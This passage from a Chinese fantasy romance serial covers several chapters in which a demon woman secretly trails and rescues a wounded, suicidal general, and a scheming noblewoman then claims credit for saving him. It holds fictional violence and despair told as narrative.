那些他以为早已遗忘、却在心底一丝一毫都记得分明的细节,如同潮水般涌上心头。
他缓缓地跪在那片寂静的竹林里,目光痴痴地望着她消失的方向,仿佛这样,就能将她的身影永远刻在心底。
“你往光里走。”
他低声道,声音极轻极轻,仿佛怕被风听见,怕惊扰了这份寂静,更怕打破了他心中那一丝美好的幻想。
“莫要沾风雪。”
他的声音带着一丝颤抖,仿佛在祈求,又仿佛在承诺。
他缓缓垂下头,仿佛承受着世间最沉重的痛苦。
“你应如明月高悬,受众人仰望。不该与我一同在这污泥中挣扎。”
风穿过竹林,发出沙沙的声响,像是在为他的话语叹息,将他最后一句话吹散成无数细碎的叹息:
“只要你能在光下……”
他就那样静静地跪了很久很久,久到日影西斜,金色的阳光渐渐被暮色吞噬。
久到新生的竹笋在风中轻轻摇曳,仿佛在诉说着时光的流转。
你就大胆的往前走吧。
不要沾染这世间的肮脏龌龊。
这么些黑暗的东西,还是……
我自己去把他们碾碎,不要让他们妨碍到你。
能贪恋几天温暖的时光已是不容易。
然后,他缓缓起身,将膝上沾着的枯叶一片片拂去,动作机械而迟缓,仿佛每一片枯叶,都承载着他对她的思念。
就算前方是乌云泥沼,他也会在这里面趟出一条路,万一以后,能帮得上她,是最好。
慕酌将眼底残存的柔软一丝丝收敛,俊美的脸上马上变得冰霜,像是重新戴上那副冰冷的面具,仿佛要将所有的情感都封印起来。
漂亮的狐狸眼微微眨动,凝视着远处的山峦,他还有未完成的使命。
他还要去追查,那些神秘的药人,那些隐藏在京中的大官,那些如影随形、他逃避了二十年的黑暗阴影。
他将那封书简从怀中取出,缓缓展开,最后望了一眼那殷红如血的朱印,那朱印,是他命运的枷锁……
他深吸一口气,迈步,坚定地走出竹林,没有回头。
104. 她心痛
她说要走。
她确实走了。
竹林外那条官道笔直向南,落日将她的影子拉得颀长,一步一移,像渐退的潮水,像被他咽回腹中的那句挽留。他跪在枯竹叶间,膝下压碎了数茎新笋的嫩尖,有极淡的青色汁液渗进腐土。
他望着那影子。
望她走过第一株竹,影子从粗粝的竹身上拂过,像手指抚过旧琴弦。望她走过半截残碑,碑上青苔被暮光染成金褐,她的影子覆上去,像替那些磨灭的字迹补上最后一笔。望她走过官道第一块界石,影子渐渐拉长、拉淡,终于与四合的暮色融在一起。
他没有追。
他只是跪着,将那句话说了三遍。
第一遍是从喉间挤出来的,像在答允什么,像在与神明立约。
第二遍轻了些,像说给自己听,像临行前将行囊又紧了紧。
第三遍已轻得几乎听不见,像风穿过竹梢时无意衔走的一缕叹息。
你往光里走。
莫要沾风雪。
他会留在泥里。
他从七岁起就活在泥里。枯井底两日一夜,没有水,没有光,只有井口那枚铜钱大的天。他踩着淤泥爬出来,从此再没有奢望过干净。
他会在泥里杀出一条路。待尘埃落定,掸尽满身血污,远远地望她一眼。
那是他能想到的、最好的结局。
——他并不知道。
在他起身、拂去膝上枯叶、将眼底最后一丝柔软收敛殆尽的那一刻,有人正站在竹林外一株老槐的阴影里,隔着满坡暮霭,静静望着他。
宛楪没有走。
她走了三百七十一步。
她数过。从跪着的那人身侧起,第一步踏在碎银似的竹影上,第一百步踏上官道第一块青石板,第三百步踏过界碑旁一丛返青的野蕨。她不知道为什么要数,只是停不下来——像溺水者抓着浮木,像走夜路的人不敢回头,只能一步一步数下去。
第三百七十一步。
官道第三个岔口。
暮风从旷野卷来,卷起她的衣角,将那句“保重”吹得支离破碎。她站在岔口中央,面前是南,身后是北。
她站了很久。
久到足尖凝了夜露,久到月从云后探出半张脸,将她的影子斜斜投在地上——那影子细长,向着来路,像一道无声的牵引。
然后她转身。
不是朝南,是朝北。
朝那片她以为已经告别的竹林,朝那个她以为已经割断的人。
她告诉自己:只是不放心药人的追查。那方粗葛帕子还在她袖中,烧焦的边缘像一道没结痂的疤,时时提醒她——那个孩子还在某处,等她找到他。
她告诉自己:只是想知道他说的“京中大官”究竟是谁。那层门板上的瓷釉、那碗安神汤的药渣、那截掺了尸油的香梗,她只追到一半。
她告诉自己:只跟这一程。
这一跟,便是二十三日,跟到南方的残雪已经消融,河水上的冰块慢慢裂开,露出岸边映照的要长出来的嫩绿的枝芽。
起初她与他隔得很远。
第一日,他在官道旁茶寮歇马。她坐在屋中对角,隔着四五张粗木桌,以茶碗边缘遮挡面容。碗中茶梗沉沉浮浮,她从氤氲水汽后抬眸,只望见他的背影被夕阳镀成一道薄金,落在斑驳的土墙上。
他起身,披风猎猎,牵马没入官道尽头那片沉沉的暮色。
她没有动。
她将那碗凉透的茶慢慢饮尽,将茶梗轻轻吐在掌心,然后起身,与他隔着一炷香的脚程,不疾不徐。
第二日,他又走了一段路,更暖和一些,他在渡口候船。
江雾浓稠如乳,将栈桥、渡船、他的身影一并洇成水墨画里淡淡的一笔——只剩轮廓,不见眉眼。他立在栈桥尽头,负手望江,披风下摆在风里微微拂动。
他在看什么?
她循他视线望去。江对岸是层层叠叠的山影,靛蓝、黛青、灰紫,一直铺到天际。没有城郭,没有渡口,没有人烟。
他只是在看。
船来了。他登船,舱帘落下,那一道淡墨的侧影被粗葛帘布吞没。
她没有上船。
她踏水而行。
足尖点过泊岸的乌篷,点过浮木,点过江心露出的几块青石。江水冰凉,浸透鞋袜,她浑然不觉。船工的孙儿从舱口探出头,揉了揉眼——只看见一只青鹭掠过江心,翅尖划过水雾,留下一道浅白的痕。
第七日,他入了一座边城。
宛楪在城门外等了两个时辰。
她没有入城。那城的门额她认得——她曾路过此地,被人救下,却被认成了那个小姐,引来追杀。城中布防、官员、暗桩,都在她记忆里刻着。她的脸在某些人那里是悬赏的价码,那价码够一户寻常人家吃三辈子。
她只是等。
等到暮色四合,城门守卒开始打呵欠,将长矛倚在门洞边,蹲下身去系松脱的草鞋带。等到城头旌旗从赭红褪成靛青,又从靛青沉入墨色。等到一豆灯火从城楼窗隙漏出,像倦眼半阖。
他策马出城。
披风换了。前几日那件是霜白,染了血,洗不净,他在驿馆后井边亲手濯过三遍,晾在竹竿上,风将它吹得猎猎作响。此刻换上的这件是深玄色,暗纹在月光下几乎不可见——只有他策马掠过她藏身的槐树时,那一瞬的侧影,她望见衣料下隐约的起伏。
他腰侧的剑也换了位置。
从右至左。
那是便于拔剑的方位。
她垂下眼。
他没有停。马蹄声从近到远,从疾到缓,被夜风揉碎,散入官道两侧无边的田野。
他遇到了什么。
她没有问。
她只是继续跟。
南国的春雨细密如针,斜斜织满天穹。不是北国那种铺天盖地的倾盆,是更轻、更密、更无孔不入的湿冷——从领口钻进来,从袖口钻进来,从所有缝隙钻进来,将骨血都浸成冰凉。
远山近树一并笼入烟青色的纱帐。官道在雨幕里失了轮廓,只剩脚下一段泥泞,一段水洼,一段被车轮碾成烂絮的草。
宛楪立在一座废塔的残檐下。
塔不知荒了多少年。檐瓦缺了大半,只剩三五片勾连在一起,像老妪疏落的齿。墙皮剥落处露出内里青砖,砖缝间生着蕨草,被雨水打得东倒西歪。
她望着雨幕尽头那一点跳动的火光。
是慕酌。
他今夜没有宿客栈。客栈太亮,耳目太多,他的伤经不起任何人盘问。他在荒郊寻了一间破败的山神庙,檐瓦漏如筛,勉强能遮住中央方寸之地。
他生了火。
火光从庙门溢出,橘黄,温暾,被雨帘切割成无数细碎的光斑。她看见他褪去外衫,动作很慢——每抬一次手臂,肩胛的线条便绷紧一次,像拉满的弓。
里衣下露出隐约缠裹的绷带。
她数过。
不是刻意要数。只是眼睛不听话,隔着满幕雨帘,隔着三十余丈的距离,一五一十地数过去。
肋下三圈。
左臂两圈。
肩胛处那一圈已沁出淡淡的红,边缘洇成浅绯,像白绢上落了一瓣桃花。
什么时候伤的?
她不知道。
是那夜崖边追杀?是前日渡口伏击?还是更早——早到她还没有开始跟,早到他独自一人时,便已习惯将伤口缠紧、将血咽下、将破了的衣襟理平整?
她将视线移开。
望向檐外无边无际的雨。
雨声单调,像诵经,像催眠。她闭上眼,耳中却仍是火声——不是柴薪爆裂的噼啪,是他的呼吸,沉、缓、带着不易察觉的滞涩。
她没有睡。
子时。
雨声里忽然掺入别的声音。
极轻。轻到几乎被雨帘遮掩——但宛楪听见了。是靴底踏过湿苔的摩擦声,压得极低,像夜行兽收着利爪。是兵器出鞘时与革带相擦的细响,像蛇信吐纳。
不止一人。
她屏息,自残檐探身。
六道黑影自雨幕中逼近。
又是他们。
这已是她跟随以来第四次。
每一次的杀手都不同。第一次是快刀,刀锋窄而薄,专破内家真气。第二次是软剑,剑身如练,专缠兵器。第三次是钩镰,专攻下盘。第四次——
她不想看了。
服色、兵器、身法,次次换新。只有一点相同:他们杀他,招招取命,每一击都朝咽喉、心口、后颈这些一击毙命处招呼。
而他也每一次都——
宛楪闭眼。
她不想看。
但她的耳无法不听。
刀锋破空的锐响,像裂帛,像撕开一道她不愿面对的真相。剑吟,从低到高,像厉鬼哭嚎。衣帛撕裂,一声,两声,三声。
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皮肉被利器洞穿的闷声,像钝刀剁进砧板,像有人在她心口一下一下凿洞。
他的呼吸。
一次比一次沉。
像拉锯。像风箱。像濒死之人喉间的残喘。每一次吸气都拖得很长,像在攒足下一剑的力气。每一次吐气都短促而急,像血呛进气管,被他生生咽回去。
她攥紧了掌心的檐木。
木屑扎进指缝,她没有察觉。
她没有动。
——她凭什么动?
她只是跟随者,没有名目,没有立场。他亲口说“你该走了”,她亲口答“保重”。她已走出了三百七十一步,她已转身回来,但这转身是她自己的事,与那人无干。
他没有叫她回来。
他不会叫她回来。
她不能。她是妖,必须保持距离。
然后,雨声里忽然静了一瞬。
不是厮杀声渐歇,是所有的声音——刀吟、剑啸、喘息、闷哼——被同一股力量生生掐断。像琴弦齐崩,像万籁俱寂前那一瞬可怕的屏息。
她睁眼。
庙中,慕酌拄剑跪地。
雨水顺着他的发梢滴落,在他身前汇成一洼淡红。他身上新添了三道伤口:左肩一道,右肋一道,最深的那道从肩胛斜贯至腰侧,外翻的皮肉在火光下触目惊心,像有人用烙铁在他背上刻了什么。
他没有倒下。
他只是跪着,垂首,剑尖点地,像在等待什么,整个人确实恨不得赶紧去死的绝望与期盼解脱。
心有点疼。是因为真身共情吗?
那六名刺客立在原地。
没有继续进击。没有开口。甚至没有交换眼神。他们只是望着他,像望着什么无法理解的东西,像望着不该还魂的亡者。
雨落如帘。
然后,慕酌动了。
宛楪从未见过这样的剑。
方才他是在守——每一招都留有余地,每一式都在退让,剑锋从不递向要害。此刻他的剑如惊雷,如疾电,如困兽出笼,如被他咽回腹中二十年的那句话终于破喉而出。
一剑,两人倒。
两剑,又两人。
三剑——
火光剧烈摇曳,将他半边面容照得惨白如纸,另半边隐在暗里,不见神情。宛楪望见他的侧脸,望见上面没有痛楚,没有惧色,甚至没有杀意。
只有一种她读不懂的平静。
像赴死。
像决意赴死,却又不肯死。
像一个人立在悬崖边,望着深渊,知道自己迟早要跳下去,却还想再看一眼身后的灯火。
最后一名刺客倒下时,慕酌也倒下了。
不是轰然坍塌。是单膝跪地,以剑支身,剧烈喘息。雨水冲刷着他身下的血泊,将淡红冲成浅红,冲成淡绯,冲成几乎透明——像他们初见那夜,她饮的那盏梅花酒。
然后,庙外走入一人。
那人身着灰衣,面容隐在斗笠阴影里。他走到慕酌身侧,蹲下,从怀中取出一只瓷瓶,倒出两粒赤色丹丸,递过去。
慕酌接过。
没有看,没有问,没有犹豫。他直接将丹丸送入口中,喉结滚动一下,咽了。
他没有看那人。
那人也没有看他。
整个过程没有一句对话,没有一次眼神交汇,像演练过千百回的仪式。灰衣人将瓷瓶收回怀中,起身,转身,没入雨幕。
慕酌独自跪在血泊与雨水之间。
阖上眼。
宛楪望着他。
她忽然想起他在竹林里说过的话。
“我会追查到底。”
“我不会放过他们。就像在北国一样。”
她想起,一开始遇见他,也是这样。那些人要杀他,那些人又救他。他
杀他是真。
救他也是真。
这就是他们所谓的“磨练”。那时候就这样,现在还是被人追杀,这样的日子,他持续了多久?
以他的血,淬他的刃。以他的命,试他的志。将他一次次逼到绝境,看他是否会在绝境里折断——若没有断,便再淬一次,再试一回,直到他成为他们想要的形状,或者死在成为的路上。
宛楪垂下眼。
她的指尖在掌心掐出月牙形的痕,血丝从甲缝渗出,与雨水混在一起,顺着指根往下淌。
她没有察觉。她固执地认为心痛是真身传来的。
105. 沉入大地解脱的吸引力
第十九日,他坠崖了。
那是一条险峻的山道,和她当年跳下去的很像。但她是妖,他只是一个人……
一侧是千仞绝壁,赭色的岩层裸露如剖开的肌理,石缝间生着几丛枯草,在风里瑟瑟发抖。一侧是万丈深渊,云海翻涌如沸,将崖底的一切都吞成白茫茫的虚空。
路窄处仅容一骑。
慕酌策马疾驰。
他身后,追兵如狼群紧咬。铁蹄叩击山石,溅起细碎的火星。箭矢破空,发出夜枭般的尖啸。他伏低身形,披风在身后猎猎鼓荡,像将折未折的翅。
宛楪跟了四十三里。
从山脚到山腰,从暮色四合到月出东山。她不敢太近——追兵中有人带着猎犬,鼻息极灵,隔三里也能嗅出生人气息。她也不敢太远——她怕下一个弯道,就再也看不见他。
她看见他的马中箭。
那箭从左后肋射入,马儿昂首长嘶,前蹄腾空,几乎将他掀下鞍。他勒缰,俯身,贴着马颈低声说了句什么。马儿竟又稳住,驮着他奔出二十余丈。
第二箭。
第三箭。
第四箭。
马儿前膝跪折,重重栽倒在地。他翻身落地,就势一滚,卸去冲劲,起身时已拔剑在手,反手斩落当先两人。
他的身法没有乱。
剑仍是稳的,招仍是准的,连落步的节奏都与平日无异。只有宛楪看见——他落地时左腿一软,只一瞬,被他硬生生撑直。
他且战且退。
披风被血浸透,沉甸甸拖曳在身后,像一道深赤色的彗尾。每退一步,那彗尾便在地上拖出一道湿痕,月光下泛着幽暗的亮泽。
他退到了崖边。
碎石子从他靴底滚落,坠落,坠落,坠落。
许久,没有回响。
追兵没有停。
他们像得了死令,不取他性命绝不收兵。刀锋自四面八方刺来——上三路、下三路、正面、两侧、背后,封住他所有退路。
他挡。格。闪。避。有一刀从他左肋刺入。
那是必杀的一刀,角度刁钻,从他剑势的缝隙间穿入,避无可避。刀尖破开衣帛,破开皮肉,破开他缠了不知多少层的绷带——
闷哼。极轻。像只是绊了一跤,像只是被荆棘划了一下。
他的身形晃了晃,却没有倒。
宛楪看见他低头,望了一眼那柄刺入自己身体的刀。刀柄是熟铜铸的,已被鲜血染成赭红。他伸手,握住刀柄,指节暴凸,青筋蜿蜒。
他没有拔。
他反手一剑,削断那人的咽喉。
血从断颈喷涌而出,溅在他脸上。他闭了一下眼,任那温热的液体糊满眉睫,然后睁开。
他将那柄刺入自己身体的刀一寸一寸拔出来。
刀身从他体内抽离时发出极细微的声响——不是金属摩擦,是皮肉、筋膜、血管被依次撕裂的声音。像有人撕开一幅织得太密的锦,每一根经纬都在哀鸣。
他将刀掷在地上。
刀身与山石相击,铿锵一声,滚了两滚,悬在崖边。
他转过身。
望向崖下翻涌的云雾。
那一刻宛楪读懂了他的眼神。
那不是绝望,不是崩溃,不是被逼到绝路的孤注一掷。
是平静。
是长久以来悬在头顶的靴子终于落下的如释重负。是将要溺毙的人终于放弃挣扎,任由自己沉入幽蓝水底的安宁。
他纵身跃下。
不是失足。
他是自己跳下去的。
宛楪不知道自己是怎么越过那四十余丈距离的。
她只记得山风割面如刀,将她的鬓发割断数茎,打着旋儿飘向深渊。她只记得云雾湿冷如裹尸布,从四面八方压过来,几乎将她整个人吞没。
她只记得自己纵身跃下时,没有一丝犹豫。
——像那些年里,她曾无数次跃入暗夜、跃入险境、跃入他人生死劫。
她从无畏惧。
唯独这一次,她怕。怕来不及。她追上了他下坠的身影。
他闭着眼。
眉目舒展,像终于可以休息的旅人。嘴角抿着的那道线松开了,眉心那道蹙了二十年的川字纹也平了。他浮在云雾里,披风倒卷,将他整个人裹成一只茧。
血从他身上各处伤口涌出。
肋下、肩胛、左臂、新添的那道刀伤——血不是流出来的,是涌,是被云海吸出来的,在他身后拖曳成一道赤色的彗尾,与他方才在崖上拖出的那一道遥遥相接。
她伸手。
揽住他的腰。
他太沉了。
不是血肉之躯的重量,是本人,没有求生的意志,想要解脱的沉入大地的吸引力,在黑暗里生了根,直直扎进深处,再也不影响醒过来,散成云烟的漠空。
下坠的势能将她腕骨震得咯吱作响。
她听见自己腕骨发出一声脆响,听见韧带撕裂的声音,听见肌肉在不堪重负地呻吟。她没有松手。
另一只手凝诀。
灵力从她掌心涌出。
是她在无人知晓的夜里一寸一寸养回来的元气。她将它们尽数祭出,没有一丝保留。
灵力化作千万片淡绯色的花瓣。
不是初春新绽的娇嫩,是深秋将谢的枯槁——边缘微焦,脉络暗沉,像被火舌舔过,像被霜刃割过。
那些花瓣托住他。
托住她。
托住两人急速下坠的身躯。
它们在峭壁间铺开一张柔软的网,一层又一层,一片叠一片。坠落的势头被它们一寸一寸卸去,像溪水被卵石分流,像利刃没入厚茧。
她将他放在崖底一块平整的青石上。
那青石生满苍苔,苔色沉郁如陈年普洱。她将他放上去时,苔衣微微下陷,像在接纳什么极珍贵的东西。
他面色惨白如纸。
不是寻常的苍白,是蜡白,是纸白,是灯油耗尽前最后一瞬的透明。他唇色尽失,眼睫低垂,连呼吸都浅得几乎察觉不到。
伤口还在渗血。
不是汹涌地流,是渗,是浸,是生命从他体内一丝一丝抽离。
她撕开他被血浸透的衣襟。
旧伤。新伤。正在结痂的。还未收口的。刀伤。剑伤。钝器留下的淤青。皮肉翻卷处露出下面粉红的嫩肉,那是刚愈合不久又被撕裂的。
纵横交错。
层层叠叠。
几乎没有一块完好的皮肉。
她的指尖悬在他心口上方三寸。
轻轻颤抖。
她没有哭。
她只是将掌心覆上去。
灵力从劳宫穴涌出,一线,两线,三线。像春蚕吐丝,细细密密,将他破败的躯壳一针一针织补。
她不是医者。
她不懂经络,不懂脉象,不懂那些起死回生的玄奥法门。她只是将灵力渡进去,让他借她的余烬,多燃一刻。
人族的治疗她曾经笔译鄙夷,但是现在,她真的担心,自己救不了他。
她想说,你,别死。
花瓣在她指尖枯萎。
边缘卷曲,颜色褪尽,从绯红变成灰褐,从灰褐变成焦黑。风过处,它们碎成齑粉,从她指缝间簌簌飘落。
她不在乎。
她将那些枯萎的残瓣轻轻喂入他唇间。
他的嘴唇干裂起皮,裂口处凝着暗红的血痂。花瓣落上去,被裂口轻轻衔住。她以指尖润开,将枯瓣一点一点送入他齿关。
他昏迷中皱着的眉头渐渐舒展。
眉心那道川字纹——她在竹林里见过,在渡口见过,在无数个他独处的瞬间见过——像被熨斗缓缓烫平。那不是放松,是疼痛从某一阈值跌落。
他的呼吸从细若游丝变成浅而绵长。
她从他的鼻息里嗅到春意。俊美的脸填上病态,多了几分凋零的萎靡妖艳,他倒在那里,眉睫低垂,周身都是易碎的倦意,去了几分凌厉,将那张脸衬出一种濒临破碎的美。
他的手指动了动。
先是小指。极轻的一颤,像冬眠初醒的虫触了触天光。然后是无名指,中指,食指。它们依次苏醒,像倦鸟归巢,一片一片收拢羽翼。
他的掌心朝上。
摊开。
像在等待谁来握住。
宛楪望着那只手。
修长。骨节分明。虎口与指腹覆着薄茧——握剑的茧,持笔的茧,二十年来独自撑起一切的茧。此刻那只手无力摊开,纹路清晰如舆图,像在等她循着那些沟壑,走进他从未示人的疆域。
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她没有握。
她只是将自己的手缓缓收回袖中。
袖底,那方粗葛帕子贴着腕骨。帕角那朵拙劣的小花,针脚歪歪扭扭,像一个孩子第一次握针,颤抖而认真。
那孩子没能等到任何人握住他的手。
而她——
和他不是一路人。
崖底无风。
万籁俱寂。
她蹲在他身侧,就着从云隙漏下的稀薄天光,看了他很久很久。
她看见他眼睫在昏迷中轻轻颤动。
像困在噩梦里挣扎不出。她看见他的眼珠在薄薄的眼皮下快速转动,追踪着什么她看不见的东西。是追兵?是坠崖?还是那口他困了两日一夜的枯井?
她看见他唇角那道干涸的血痕。
从左嘴角斜斜划向下颌,已经凝固成褐色。她以指腹轻轻擦拭,那血痕便碎了,像干涸的河床,一碰就簌簌剥落。
她看见他鬓边不知何时生出的几茎白发。
夹杂在墨色发丝间,极细,极韧,月光下泛着冷冷的银。她记得他们初见时他鬓边没有白发。是北国那半年熬的?是南国这二十三日熬的?还是她从未真正仔细看过他?
她还看见。
他怀中露出一角素帕。
是她还他的那方。
帕角绣着忍冬。花瓣五出,针脚细密,起针藏得极巧,收针不见线尾。那是宫中女官才会的“隐线绣”,是阿姐留给他的遗物。
他将它收在离心口最近的位置。
隔着帕子,她几乎能感到他心跳的余温。
宛楪垂眸。
良久。
她伸出手,在他心口轻轻按了按。
像告别。
他还要追查案子,真身,就先算了。
她起身,走入崖底茫茫雾霭,没有回头。
慕酌醒来时,周身是散落的绯色花瓣。
有的落在青石上,被苍苔轻轻托着。有的落在他衣襟,像谁临别时匆匆留下的印迹。有的落在他掌心,已经枯萎,边缘焦黑,脉络却仍清晰可辨。
他认得那颜色。
那是在北国宫中,他第一次与她并肩夜巡。月色下她衣角沾着几片落樱,他问她要不要拂去,她说不必,明日自会凋零。
他猛然坐起。
牵动伤口,疼得眼前发黑。他不理,四顾,哑声呼喊——
“是你?”
崖壁将这两个字撞回来,一声叠一声,渐渐轻下去,像石子投入深潭,涟漪散尽。
没有人应。
他低头,望着手边那几片残瓣。
他轻轻将它们拾起。
一片,两片,三片。他数得很慢,像在清点一件极贵重的物什。数完了,他将它们放入怀中的素帕里,与这几年的并在一处。
他没有问她为什么救他。
他从来都知道。
他从来都知道她在身后。
那二十三日,每一日他都知道。茶寮里隔着四五张桌的对角,渡口柳荫下那一道素白的衣角,城门外老槐树后不曾隐好的裙裾。
他以为她不会救他,今天这么危险,她也不该来。
——他不知道,自己是否还配让她来,她不像是一个正常的人,像神仙,但他又不敢去想。
他坐在崖底青石上。
他没有再唤她的名字。
他只是将帕子折好,收入怀中,起身。
伤口还在疼,腕骨方才那一声脆响还回响在耳边。他不知道她伤了多少,不知道她那些枯萎的花瓣是用什么换来。她说这是自己家里世代草药生意,但整个南国又有多少,就像是,她想有就有,自产自足,但这太离奇不是吗,他不敢深想。
不是不知道,是不敢,不敢面对,哪怕是自己的猜测。
他只知道自己不能停。
那些药人还在某处。
那些京中大官还在高堂之上,他知道这些是谁找过来的,要是能拉着他们一起去死就好了。
他还欠她一个回答。
——是真心存善,还是做戏给我看?
他迈步。
走出崖底。
晨光从云隙间漏下第一线,照在他肩头,像谁的指尖轻轻落了一下。
他也没有回头。
106. 抑郁
第二十七日,慕酌以将军身份归营。
南国边境驻军的帅帐设在临江城北,倚山面水。他归营那日恰逢春汛,江水暴涨,浊黄的浪头反复拍打堤岸,溅起的水沫飞上营垒雉堞,在暮色里泛着冷白的光。
他立在帅帐前,解下披风。
内里玄甲如夜,护心镜没有一丝划痕——那是亲卫连夜擦亮的,没人知道甲胄之下裹着多少道未愈的伤。他将披风递给迎上来的副将,动作流畅,像这二十三日只是一场寻常巡边。
帐下诸将见礼,甲叶铿然。他颔首还礼,眉目沉静如古井深潭。
没有人知道他经历了多少次伏击。
没有人知道他刚从悬崖底爬回人间。
他命人取来边境舆图,展开,指尖落在一处标红的位置。
“明日拔营,往北三十里。”
帐中无人异议。烛火映着他的侧脸,那张俊美的面容染着未褪的病色,像开到极处的花陡然萎了——艳还在艳,却艳得凋零。但帐下诸将只看见他沉静的眼风,无人敢直视那道易碎的裂痕。
日子如江水,一日日淌过。
春汛未歇,浊浪日夜拍岸。慕酌治军严整,从不以私废公。白日他巡营、点将、批阅军报,玄甲裹着染血的绷带,端坐如铸。他的声音依然低沉平稳,批驳军务时一字一句皆切中肯綮,帐下无人敢有怠慢。
没人知道他肋下的伤口在每次呼吸时都会挣裂一分。
没人知道他袖中藏着几片枯槁的花瓣。
夜间他独坐帐中,对一盏孤烛,将怀中的素帕取出,展开,望那朵忍冬花。
那帕角的花二十年不曾褪色,针脚细密如昨。他从不点破那夜崖底花瓣的来历。他从不问那是不是她。
他只是将那几片干枯的绯色花瓣夹在帕中,与忍冬并在一处。
每一次展开,都像完成一场无人知晓的仪式。烛火映着他的侧脸,他垂着眼,睫羽覆下细碎的阴影,将眼底所有情绪敛尽。
然后他将帕子折好,收入怀中,继续批阅案头堆积如山的军报。
第五日。
巡营途中,有人救下了一个逃荒的女子。
那是在江堤之下。春汛未退,江水已漫过堤脚的芦苇,浑黄的浪舌一下一下舔舐泥岸。她蓬头垢面,衣不蔽体,被几个流民围在当中。尖叫声被江风撕碎,落在浪沫里。
慕酌策马经过。
他没有下马。他让亲卫驱散流民,想起姐姐在乎的黎民百姓,就留给她一袋干粮、半匹粗布。
“将军!”
江风卷起他的披风下摆,猎猎作响。他回头,望见她跪在泥泞里,仰着脸,泪痕纵横。
那脸洗净淤泥之后,显出几分殊色。太过标准的风情,像画师依着范本一笔一描绘就的。
难看。
“民女萧氏,”她叩首,声如莺啭,顿了顿,又轻声道,“本是尚书府嫡女,家中欲送我入宫侍奉圣上。我不愿此生困于深宫,便逃了出来。”
江涛拍岸,浊浪翻涌。
慕酌望着她,眼底一片冷。
他眼里满是厌恶,他顾忌姐姐的爱民,只是拒绝。可那女子不愿意走,以死相要挟,亲卫说将她带回营中,暂置后帐安置。
烦,想弄死。
马蹄踏过江堤湿泥,溅起细碎的水珠。他没有回头。
他刚才望见她腕间那截玉镯。
水头极好,与她褴褛的衣衫全然不称——那镯子养了有些年头,玉肉里的棉絮化得干净,润得像羊脂在灯下融了一角。
那女子自称姓萧,名亦熙。
她说自己是逃荒来的,家乡遭了水患,父母兄弟皆亡,只剩她孤身辗转千里。她说她一路乞食,躲过流寇,涉过洪水,那双绣花鞋磨穿了三次,才终于走到临江。
她说她在江堤上第一眼望见将军——
说到这里,她垂下眼,睫毛轻轻颤动。
便知这一生的归宿在此。
她说这话时眼波盈盈,像含着两汪春水,那水光漾在眶缘,将落未落。
慕酌听着,恶心,一眼就看出来是装的。
他已遣人去查她的底细。
三日后,密信送到。
信纸是上等的澄心堂纸,折成细长一条,封口处火漆印已被细刀利落挑开。他展开,就着烛火一行一行看下去。
尚书府嫡女,萧亦熙。
年十九,工诗书,善歌舞。去岁曾拟选入太子东宫,因病未行。春正月,称父丧丁忧,扶柩归籍——实为逃避选妃,私自出逃。其父萧尚书仍在朝,日日参与廷议。
慕酌握着那张薄笺,在烛火边沉默良久。
信笺边缘被他指尖捻得微微卷起,火舌舔舐时,映得他眼底明灭不定。那火焰一吞一吐,像在啜饮他掌心的温度。
尚书府。
萧氏。
南国朝中,有几个萧氏?
他想起多年前那些旧事。春雨冲刷一夜,青石板缝里仍是洗不净的赭色。他想起枯井里两日一夜的黑暗,井口那枚铜钱大的天光,日升时是白,日落时是金,夜里什么都没有。
他想起母亲最后那声呼喊。
从近到远。
从远到无。
他的手指没有抖。
他只是将密信折起,沿着最初的折痕一道一道压实,放在火上烧了。
然后他命人传萧氏入帐。
她来得很快。
太快了。像守在帐外,只等他这一声传召。
她换了一身簇新的衣裙。藕荷色的襦裙,外罩一袭银红披帛——那银红是上好的茜草染的,在烛光下泛着幽幽的暖晕。发髻也梳过了,斜簪一支烧蓝点翠的蝶簪,行动间蝶翅颤颤,像要振翅飞去。
她行礼,动作标准如仪轨。屈膝的角度,垂首的幅度,袖□□叠的位置——分毫不差。这是自小用戒尺在膝弯、在脊背、在指尖一寸一寸量过的。
这不是逃荒女子该会的。
慕酌望着她。
烛火在两人之间静静燃烧。
“你说,”他开口,声音平淡,“是你从悬崖底下救了我。”
萧亦熙抬眸。
那眼中有恰到好处的惊惶——惊惶的深浅,流露的时机,乃至抬眸时眼睫颤动的频率,都恰到好处。像戏台上唱了千百遍的名段,每一个身段都已磨进骨血。
“将军不信么?”
慕酌不语。
她咬了咬唇,低头。那唇上胭脂大约是新点的,烛光里艳得像石榴子。
“那日民女在崖底采药,见将军浑身是血躺在青石上。民女用尽了随身带的伤药,又守
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了将军整整一夜……”
她的声音渐渐低下去。
像含羞。
像委屈。
像春夜被风吹落的杏花,柔柔坠地,不惊一尘。
——她垂着眼睫,心里却在盘算:这位将军根基未稳,羽翼未丰,正是好拿捏的人。若能嫁他,便可名正言顺摆脱家族,不必入宫。至于恩情是真是假,谁又在意?
“将军若是不信……便当民女从未说过罢。”
她起身,作势欲退。披帛流苏拂过案角,轻轻扫落一片虚空。
慕酌没有拦,看着她的背影阴恻恻地,想要杀了她。
她转过身,眼中已蓄了泪。
“将军是不信我,故意试探么?”
慕酌望着她的泪,他想死,不想管。
他的泪二十年不曾坠过,早已忘了那是什么温度。
他挥了挥手,示意她退下。
萧亦熙咬着唇,似乎想再说什么。那双含泪的眼深深望进他眼底,像在搜寻什么、确认什么、试图撬开什么。
但她终究什么也没说。
帐帘落下时卷进一丝夜风,将烛焰压成一道倾斜的刃。
慕酌独坐案前。
他望着跳动的烛焰,望着灯盏里渐浅的膏油,望着铜盏边缘那滴始终没有坠落的烛泪。
他想起那夜崖底。
周身是散落的绯色花瓣。那花瓣覆在他衣襟、在他发间、在他摊开的掌心——早已枯萎,边缘焦黑,像用尽最后一丝生气来托住他坠落的残躯。
他想起昏迷中那缕渡入心脉的灵力。
轻柔如羽。
暖煦如春。
像有人将心口仅余的余烬,一丝一丝捻进他冰凉的骨血里。
他想起他睁眼时,那人已不在。
青石上空留几片残瓣,苍苔上印着一道极浅的足迹——她在离去时,分明曾在他身侧停留了很久很久。
她从不留名。
她从不邀功。
她只是在他将死时出现,救他,然后离去。
他有点委屈,想让姐姐安慰。姐姐不在,只有这些烦人的家伙,天天责任重大,天天要他忍辱负重。
还有眼前这个满眼算计、满口谎言的萧氏。
他的手按上剑柄。心里全是杀人的冲动。
剑柄的缠绳已被他掌心焐热,那是他用了七年的旧物,每一道缠纹都烙着他的指痕。
但她背后是尚书府。
萧氏。
他此刻根基未稳,羽翼未丰,帐下可用之兵不过三千,朝中故旧早已零落成泥。杀一个尚书府嫡女,无异于与整个萧氏开战。
他松开剑柄,心里盘算杀人的办法。
——然后他收到了第二封密信。
